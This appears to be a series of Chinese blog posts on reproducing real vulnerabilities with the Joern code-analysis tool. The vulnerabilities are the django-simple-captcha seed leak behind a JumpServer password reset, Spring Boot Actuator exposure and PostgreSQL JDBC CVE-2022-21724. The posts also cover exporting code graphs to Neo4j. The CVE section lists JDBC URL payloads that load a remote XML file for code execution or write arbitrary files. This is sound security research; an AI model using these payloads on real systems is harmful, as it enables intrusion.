但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。

django-simple-captcha 随机数种子泄露

这个问题在0.5.19版本中被修复

这里其实涉及到了django-simple-captcha的一个feature，在设计上其实是允许通过key来指定随机数种子的，这个feature是为了让同一个key可以对应同一个验证码，用来实现验证码的对应。

而这里的key是一个已知的值，就是用于生成验证码的参数

换言之，我们可以得知当前Random的随机数种子，甚至可以控制这个种子。

修复的方案也很简单粗暴，只要在生成结束之后用随机一个新种子就可以了

• https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f

那么这对jumpserver又有什么影响呢？

JumpServer 密码重置漏洞

相比django-simple-captcha来说，JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。

• 重置密码

• 激活码、兑换码

相比激活码的场景来说，重置密码的常见程度更高，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。

/apps/authentication/api/password.py

重置密码用的code使用了random_string来生成，然后看看random_string的定义

这个函数在jumpserver中重做过好几次，但大同小异，其实就是用random.choice从列表中选取随机字符，最终生成最后的验证码。

这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是

• 通过django-simple-captcha泄露当前random的种子

• 通过种子推测有限次的random结果（其中不仅仅包括密码重置token，还有验证码噪点等）

这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单

在最初版本的修复方案中，Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。

在后来的改动中，可能是因为看了P牛的文章，Jumpserver把random换成了secrets，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案

For Joern

从源代码的角度来讲，这个漏洞成因可以分成两部分

• 存在泄露随机数种子，或者可以控制随机数种子的位置

• 在未显式重置随机数种子的基础上，引用了random来生成随机数

随机数种子泄露

其实这个漏洞用Joern来处理挺吃力的，首先是Joern只会处理目标目录下的源码，而在正常的环境下，python引入的包其实都在python的目录下，也就是说理论上我们无法在分析项目的时候，顺便分析django-simple-captcha。

这里我们强行引入下分析django-simple-captcha包

> .\joern
     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗
     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║
     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║
██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║
 ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝
Version: 2.0.52
Type `help` to begin
joern> importCode("../captcha/")

先找到random.seed调用的位置

先检查调用位置到函数定义位置是否有数据联通

def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn
sink.reachableByFlows(source).p

得到的答案是肯定的，seed的参数key可控，接着找对应的路由，在django里路由一般是用path，而这个组件使用re_path

from django.urls import path
from django.urls import re_path

我们可以直接快捷的查看相应的路由函数调用位置

然后通过对应的调用函数来获取指定的路由

 cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l

当然可能也不用这么麻烦，理论上来说直接设置source也是可以连起来的，只不过re_path读取key的方式是正则匹配，所以原装的reachableByFlows无法处理这种情况，我们只能强行做一些限制

cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l

由于这条命令可以获取结果，所以代表着存在可以设置随机数种子的路由和对应的参数。

当然，由于漏洞的特殊性不仅仅在于可控，还需要后续没有进一步重置随机数种子，所以我们还需要更多的条件来确认这一点。

其实要做到这点也并不复杂，只需要确认，在设置seed种子的方法中，没有调用过无参的seed方法即可。

cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l

上面这条命令的意思是

• 寻找seed方法的调用方法

• 寻找该方法中调用的方法中，名字为seed，并参数为0(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)

• 展示调用方法中，满足条件的调用数量为0的方法

如果返回结果，则证明该方法中没有重置新的随机数种子，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，如果是更严格的数据流分析，应该从重置随机数种子的位置入手，确认是否有数据流经过，但这种方案对于joern来说比较困难，这里先不深入到这个级别研究。

JumpServer密码重置漏洞

这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大，导入到Joern里有83万个节点:<

其实相比Django-simple-captcha的问题来说，JumpServer的问题在源代码的角度上来说更不像一个问题，只能算是一个使用错误的范例，有潜在的风险。我们需要用joern完成的工作包括两部分

• 在获取随机数之前，没有重置过随机数种子

• 在获取随机数之前，共执行了多少次随机操作

先找到对应调用random.choice方法的方法

而调用过seed方法重置随机数种子的位置只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码

由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在对应重置密码的路由中确认是否调用random.choice方法就行了

这里直接用repeat untils来实现就可以

repeat...untils...还是那个老问题，容易递归爆炸，路径重复问题严重，我觉得这是joern实现里一个非常普遍的问题，但至少可以确定两个调用位置的连通性。

接下来我们的问题变成了，我们如何知道在这条数据流中random调用了多少次。

我尝试了几次之后发现，如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题，正向分析的深入深度问题，以及循环分支的次数数据问题，问题比想象中的大，我暂且认为这不是joern的适用场景。

而相应的修复就更简单了，直接换用secrets替代random会直接影响到前面的方法发现，我们就无法获得对应的数据流了。

阅读原文

跳转微信打开

这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-se

这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-sec-code的范例代码做第一部分，这篇文章记录了两个比较经典的漏洞

• Springboot Acutators导致命令执行

• postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包

importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")

Springboot Acutators配置问题

• https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference

• https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F

• https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

开启后SpringBoot 1.x起始路径为/，2.x的起始路径为/actuator

暴露路由本身不能算太大的安全问题，只能说配置不当可能导致信息泄露，可以参spring-boot.txt。

Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是对Actuator做鉴权限制。

• Actuators + jolokia

        <!-- SpringBoot Actuator命令执行的库 -->
        <dependency>
            <groupId>org.jolokia</groupId>
            <artifactId>jolokia-core</artifactId>
            <version>1.6.0</version>
        </dependency>

配合jolokia的接口可以实现jndi注入导致RCE

• Actuators + Spring Cloud

• https://www.freebuf.com/column/234719.html

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
            <version>1.4.0.RELEASE</version>
        </dependency>

首先组件上引用eureka才行，并且Eureka-Client <1.8.7（多见于Spring Cloud Netflix）

其次需要Application要有@EnableEurekaClient注解

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
@SpringBootApplication
@EnableEurekaClient
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

for Joern

我首先遇到的问题就是，这个漏洞其实配置问题大于其他问题，我研究了很久认为这个问题在Joern中是不可解的。

一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，加入鉴权组件并开启配置

# pom.xml
<dependency>
	<groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
# for application.properties
management.security.enabled=true
security.user.name=admin
security.user.password=admin

哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。

而问题回到Joern上，Joern虽然定义了ConfigFile节点，但并没有读取所有的配置文件，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。

即便是读取了application.properties这个文件，但ConfigFile节点只有文件内容，并没有对所有的配置做分析转化。而且有时候configFile就是完全空的，也不知道问题在哪。

这个处理方式虽然很奇怪但也算能理解，Joern作为一个静态分析代码的框架，他的理念就是把上层和下层做拆分，下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。

对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。

• 一方面由于没有pom.xml的数据，所以无法判断Acutators是否开启，且无法判断版本。

• 从SpringBoot 2.X开始，端点默认只暴露health和info，需要从配置文件里获取开启的端点，不一定能读到这个配置文件内容

• Acutators这个问题核心其实是不能未授权+向公网暴露，而这个鉴权配置也是从配置文件里读到的

cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l

• Acutators暴露的实际影响其实和依赖的组件有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。

postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

• https://xz.aliyun.com/t/11812

9.4.1208 <= org.postgresql.postgresql < 42.2.25
42.3.0 <= org.postgresql.postgresql < 42.3.2

当PostgreSQL的jdbc url属性可控时，可以通过authenticationPluginClassName、sslhostnameverifier、socketFactory 、sslfactory、sslpasswordcallback 连接属性提供类名实例化插件实例。

• 漏洞代码

  @RequestMapping("/postgresql")
  public void postgresql(String jdbcUrlBase64) throws Exception{
      byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
      String jdbcUrl = new String(b);
      log.info(jdbcUrl);
      DriverManager.getConnection(jdbcUrl);
  }

其实漏洞点的Joern的公式特别简单，说白了就是只要jdbc的连接链接可控就行了。

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("getConnection")

直接寻找source和sink之间的数据流

sink.reachableByFlows(source).p

可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定jdbc是否支持postgreSQL来作为数据库。

在确定了入口可控之后，理论上配合组件版本其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。

for PostgreSQL code

当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是利用链的问题，所以我们需要直接去分析postgresql的组件代码。

importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql")

当我们可控jdbc的连接的时候，我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。

# 命令执行
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml
# 配合FileOutputStream操作文件
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt
# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml
# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是我们怎么在joern中复现这个问题。

我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看

从getConnection方法处，jdbc会根据不同的请求分发至不同的组件。

从connect方法一路跟进org.postgresql的代码当中，链接之后的参数会被拆解为字典然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，进到包里的这个入口是connect方法

def source = cpg.method.name("connect")

最终导致漏洞的核心点则是可控的newInstance

所以我们假定调用方法newInstance是sink点，可以用caller获取调用该方法的地方，也是可以读到我们目标类方法的。

def sink = cpg.method.name("newInstance")

到这里我们会遇到一个比较大的问题，当我们试图用简单的reachableByFlows时，会无法获取到结果。

但如果我们手动去一步一步拆解caller，发现是可以一路跟到source节点的。

cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l

repeat这个语法问题相当多，如果用repeat...until...这个语法，很大概率会卡死，几乎跑realworld代码没有不卡死的，所以我改用了限制maxDepth+条件判断的方式来查询，还算可以解决。

当然这样只能拿到最终的节点，我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。

• https://lightless.me/archives/analyze-apache-commons-text-with-joern.html

cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l

当然，由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题，这个代码同样来自于@LightLess。

def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {
    var nextBuffer: List[Vector[Method]] = List()
    var finalResult: List[Vector[Method]] = List()
    var results: List[Vector[Method]] = List()
    val stopList = stopStep.l
    val stopIdList = stopList.map(n => n.id).l
    println("stopList.size:" + stopList.size)
    println("stopIdList: " + stopIdList)
    for (idx <- 1 to maxIdx) {
        // 第一次查找，使用初始条件作为起始
        if (idx == 1) {
            for (it <- initStep) {
                finalResult = finalResult :+ Vector(it)
            }
        }
        // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller
        for (eachPath <- finalResult) {
            
            var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => {
                n.asInstanceOf[Method].id
            }).l
            var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup
            for (newNode <- newNodes) {
                // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中
                if (!eachPathIdList.contains(newNode.id)) {
                    val newPath = eachPath :+ newNode
                    nextBuffer = nextBuffer :+ newPath
                    // 检查是否满足终结条件，如果满足，就加到resutls里
                    if (stopIdList.contains(newNode.id)) {
                        results = results :+ newPath
                    }
                }
            }
        }
        // 所有的路径都处理完了，结果放在 nextBuffer 中
        finalResult = nextBuffer
        nextBuffer = List()
    }
    return results
}

这个findUntil实现了repeat...untail...times的功能，而且也做了一定的去重和优化

def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，通过repeat获取的节点非常粗暴，并不一定是成数据流。

拿下面这段代码举例子，理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate，但如果直接用caller会直接获取到instantiate方法，也就是直接到父节点。

但事实上如果数据流追不到参数，实际上是数据流是不通的，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。

最关键的是，仔细研究后感觉这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。

用比较通俗的话讲，就是CPG更强调调用关系，就比如调用NewInstance方法的位置属于方法Instantiate的子节点，而具体到代码块执行流程，则只是简单的AST指向关系，除了有向边以外，也没有显示这种指向关系的特殊性。

这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。

其他利用链

我们仿照第一个利用链的语法，直接模拟一下其他几个利用链的挖掘方式

• 任意代码执行 sslfactory/sslfactoryarg

# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

对应的利用链其实和上一个是一样的，入口都是connect，漏洞点都是newinstance，这条利用链用上面的代码就可以查询到

def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

• 任意文件写入 loggerLevel/loggerFile

# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这个漏洞的利用链相对特殊，其实是利用了logger本身的功能，通过配置log写入的文件来实现任意文件写

这里类初始化的操作在joern被标记为<init>，所以sink为

cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))

这样我们再次追利用链

def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

完善利用链

在找到可控的newInstance位置之后，我们还需要继续完善利用链的最后一步。

根据我们刚才找到的漏洞位置，我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。

在Joern中可以通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类.

cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l

当然这里找到的类是不全的，这里的问题和前面类似。Joern不会解jar包里的jar包，所以无法跟进去分析整个项目的依赖，自然也就没办法找到完整的利用点，这里不赘述了

修复

这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件

阅读原文

跳转微信打开

如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体

在上篇文章里，我们从Joern入手大致介绍了CPG(Code Property Graph)的设计理念和简单逻辑

• https://lorexxar.cn/2023/08/21/joern-and-cpg/

但实际上来说，如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。

旧版本的Joern使用的Gremlin，但后来的开发中换成了OverflowDB，在joern中也完全支持使用OverflowDB的查询语法。

• https://github.com/ShiftLeftSecurity/overflowdb

但属性图本身没有什么特异性，比较常见的比如Neo4J，OrientDB或者JanesGraph都支持CPG的表现形式。

但，在这之前，我们首先需要知道，为什么是图？

为什么是图？

在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。

如果说CFG(control flow graphs)相比AST来说最大的特点是带有明确数据流向的流向，在数据流分析可能更有优势。

那么CPG相比CFG来说有一个很大的特点就是信息量大，而图最大的特点也在于，就是可以容纳信息量巨大的内容。

假设我们有这样一段代码

a = new A()
b = a.b
c.a = b.a
d.a = c
c.b = d.c

这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果用文字来表示abcd之间的关系我们可能需要拆分很多部分。

a -> A()
b -> A().b
c.a -> A().b.a
c.b -> ....

我甚至很难用文字的方式表达出他们之间的关系，而图在这样的场景下就变得很有优势。

当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，图关系可以很轻松的表达出文字很难表达出来的信息量。

Joern与图

Joern用了CPG来储存代码的所有节点关系和属性数据，由于CPG的信息量大，所以Joern甚至提供了官方的生成AST、CFG等其他结构的接口，对于C/C++甚至支持多种自定义的结构。

• Abstract Syntax Trees (AST)

• Control Flow Graphs (CFG)

• Control Dependence Graphs (CDG)

• Data Dependence Graphs (DDG)

• Program Dependence graphs (PDG)

• Code Property Graphs (CPG14)

• Entire graph, i.e. convert to a different graph format (ALL)

在Joern的命令行你可以直接使用相应的命令生成对应的格式

cpg.method($name).dotAst.l // output AST in dot format
cpg.method($name).dotCfg.l // output CFG in dot format
...
cpg.method($name).dotCpg14.l // output CPG'14 in dot format

有个很有意思的是，如果你的电脑装了Graphviz，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。

• https://graphviz.org/download/

安装Graphviz之后我们可以通过命令来绘图

cpg.method($name).plotDotAst // plot AST
cpg.method($name).plotDotCfg // plot CFG
...
cpg.method($name).plotDotCpg14 // plot CPG'14

说实话，不太实用，但是很方便

Neo4J

相比Graphviz这种仅仅用来临时展示图的应用来说，Neo4J则是标准而且非常成熟的图数据库，不但性能强，而且还实用。

• https://github.com/neo4j/neo4j

• https://neo4j.com/

你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。

Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。

• https://neo4j.com/docs/cypher-manual/current/clauses/

简单来讲Cypher中对应SQL的语句关系有几个比较特别的，首先就是MATCH和where。

# SQL
select Person from user where born = 'beijing'
# Cypher
MATCH (a:Person)-[:BORN]->(b:Location {city:'beijing'}) RETURN a,b

MATCH和where在两种查询语句中是类似的功能，其中的区别就是MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系，比如-就是无方向关系，->就是有方向关系。

match 
  (node)-[relationship]->(node)
where
  （node  |  relationship)
return 
    (node | relationship)

其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。

而相对于普通的数据库来说，图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。

直接用鼠标点击各个节点查看对应的属性以及它们之间的关系，并且可以直接拖动他们。

点击节点下面的按钮，可以直接查看到节点连接到的其他节点，很方便也很直观。

Joern与Neo4J

前面说了，Joern使用了自己做的OverflowDBl来作为图数据库存储CPG，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。

而Joern本身是自带了这个功能的，就是joern-export。它支持你导出Joern的CPG到neo4j  , graphml, graphson 和 graphviz dot。

./joern-export --repr=all --format=neo4jcsv
./joern-export --repr=all --format=graphml
./joern-export --repr=all --format=graphson
./joern-export --repr=all --format=dot

要使用joern-export导出数据的话，需要指定CPG的位置，这个东西会存在Joern目录下的workspace当中，并且需要指定output，默认是./out。

然后我们可以想办法把这些csv文件导入到Neo4j当中。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是neo4j导入复杂结构数据需要指定好各种csv文件的关联。

但joern当然也给出了导入的办法，在生成文件的时候会给出一个导入命令的范例，照着范例就可以搞定了。

首先joern导入数据是有限制的，只能导入import目录下的文件，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。

除了文件以外，还有就是这个/bin/cypher-shell的位置，这个脚本就在对应链接目录的bin下

然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是依次执行*_cypher.csv文件中的命令，然后导入header和data。

最终导入的数据就是这样的

用cypher在Neo4J上查询漏洞

当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。

这里还是拿上篇文章中用到的RCE代码来举例子。

对应Joern的语句为

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")

首先匹配注解节点满足.*Mapping的

MATCH (n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25

然后找这些对应节点关联的方法

MATCH (m:METHOD)-[:AST]->(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25

然后找一下对应调用exec方法的节点

MATCH (n:CALL) where n.NAME="exec" RETURN n LIMIT 25

然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系

MATCH (p1:METHOD)-[:AST]->(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25

这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。

阅读原文

跳转微信打开

从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于白盒代码扫描这件事情来说，大家的观念也在逐渐趋同。

从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于白盒代码扫描这件事情来说，大家的观念也在逐渐趋同。

无论是基于IR(Intermediate Representation)、AST(abstract syntax trees)、CFG(control flow graphs)、PFG(program dependence graphs)，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做模拟执行、污点传播等等方案来分析挖掘漏洞。

而随着CodeQL的概念逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将底层和上层拆解开来，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的CodeQL、Checkmarx其实都使用了类似的方案。今天要说的Joern也是如此。

今天介绍的Joern有什么特殊的呢？

首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。

除此之外，市面上的很多白盒扫描工具其实是非静态的，扫描的时候不但需要配置复杂的运行环境，而且本身可能依赖编译过程，无论是自己使用还是商业化这都非常不实用。

个人认为白盒工具有着几个很重要的点

• 静态扫描，静态扫描的优势和便利程度才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒

• 扫描速度，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，扫描速度会是第一优先级，比如CheckMarx动辄几小时的扫描肯定是不现实的

• 可diy性，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，joern是开源的，在这方面他有很大的优势

• 可拓展性，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，我一直觉得现代白盒软件很重要的一条路就是走通用性，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。

今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。

joern

joern是ShiftLeft 开发的一款基于CPG制作的白盒静态扫描工具，诞生的时间不算早应该就是2021年（具体记不清了）

• https://github.com/joernio/joern

和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由AST + CFG + PDG叠加而来，最终生成一张图，然后在图的基础上做分析和检测。和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息，另一方面，CPG也让后续的分析程序更具有通用性。

这就是一张很经典的范例图，用来展示CPG和其他几种的区别。

另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。

至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。

什么是CPG？

关于CPG可以看一篇官方写的基础的理论文章。

• https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740

以下部分内容大量取材于上面这篇文章。

还有就是比较重要的joern的CPG标准文档

• https://cpg.joern.io/

• https://github.com/ShiftLeftSecurity/codepropertygraph

在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把节点以及节点之间的关系以图的方式展示出来。就比如下图表明A和B就是朋友，B和C也是朋友。

换到代码中说白了就是通过图的方式展示代码中不同节点之间的关系，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会通过边的属性来展示节点之间的关系。

而代码在编译执行前会经过几个复杂的步骤，在经过最简单的词法分析和语法分析，代码就会被转为AST(abstract syntax trees)也就是抽象语法树，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。

AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，通过遍历树结构我们就能得到更底层的某种结构，比如IR就是这类结构的一种，这种结构会具有更强的执行顺序，相应的也会模糊掉一些语法。

而CFG(control flow graphs)是一种更强调执行流的结构，节点和节点之间只有调用关系，而且会有比较强的代码执行顺序，边上会展示执行相应的条件。

而另一个比较有用但是比较少见的就是PDG(program dependence graphs)，PDF也是一种图关系，通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系，节点之间的边会展示数据节点的影响关系，所以图结构会更复杂，但会更易于寻找节点之间的关系。

下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。

但无论是AST、CFG、PDG或者是IR等数据结构，又或者是某个原创的中间结构，他们的目标都是一致的，就是用更通用的方式解释代码，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。

而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来，我觉得它最大的特点就是利用了图结构庞大的信息容纳能力（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。

joern做了什么？

而joern作为一个白盒的代码分析工具，主要做了两部分。

第一部分是实现了一种方案来比较通用的代码转CPG，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。

而第二部分就是，在已有的CPG基础上，实现了一套查询语法，类似CodeQL，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标

> def source = cpg.identifier.typeFullName(".*HttpServletRequest.*")
> def sink = cpg.call("exec|eval").argument
> sink.reachableBy(source)

拿上面这段代码举例子就是，寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来。

它同样支持你使用复杂的Scala脚本进行代码的扫描和处理。通过Scala可以实现更复杂的查询和数据流分析。

相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是大部分的白盒扫描工具对于底层的包裹非常严密，很多工具你只能简单的拿来扫描漏洞。

